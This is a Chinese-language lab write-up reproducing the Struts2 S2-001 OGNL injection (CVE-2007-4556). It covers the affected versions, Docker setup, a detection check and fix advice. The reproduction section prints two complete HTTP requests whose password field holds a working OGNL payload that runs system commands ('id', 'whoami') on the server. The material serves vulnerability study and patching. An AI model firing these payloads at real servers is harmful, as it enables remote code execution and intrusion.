CVE-2007-4556-Struts2-S2-001-RCE
forg12

描述

​ 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

影响版本

Struts 2.0.0 ~ Struts 2.0.8

漏洞检测

输入%{1+1},提交返回2

1
http://192.168.3.100:8080/S2-001/login.action

image-20221102141928449

image-20221102142055973

环境搭建

docker搭建环境:

1
2
3
docker pull 2d8ru/struts2

docker run -d -p 8080:8080 2d8ru/struts2

image-20221101134939255

查看环境

1
http://192.168.3.100:8080/S2-001/

image-20221102141553742

复现过程

使用bp抓包,发送以下payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /S2-001/login.action HTTP/1.1
Host: 192.168.3.100:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 466
Origin: http://192.168.3.100:8080
Connection: close
Referer: http://192.168.3.100:8080/S2-001/
Cookie: JSESSIONID=EDCDD1C2E2D9487432F705F53D17749F
Upgrade-Insecure-Requests: 1

username=admin&password=%25{%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{"id"})).redirectErrorStream(true).start(),%23b%3d%23a.getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew+java.io.BufferedReader(%23c),%23e%3dnew+char[50000],%23d.read(%23e),%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23f.getWriter().println(new+java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()}

image-20221102142136199

替换命令为whoami

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /S2-001/login.action HTTP/1.1
Host: 192.168.3.100:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 466
Origin: http://192.168.3.100:8080
Connection: close
Referer: http://192.168.3.100:8080/S2-001/
Cookie: JSESSIONID=EDCDD1C2E2D9487432F705F53D17749F
Upgrade-Insecure-Requests: 1

username=admin&password=%25{%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),%23b%3d%23a.getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew+java.io.BufferedReader(%23c),%23e%3dnew+char[50000],%23d.read(%23e),%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23f.getWriter().println(new+java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()}


image-20221102142227027

修复建议

1、从 XWork 2.0.4 开始,OGNL 解析已更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的 %{1+1}。获取WebWork 2.0.4Struts 2.0.9,其中包含更正后的 XWork 库。

2、获取补丁并将其应用于 XWork 源代码。重启 glassfish 后生效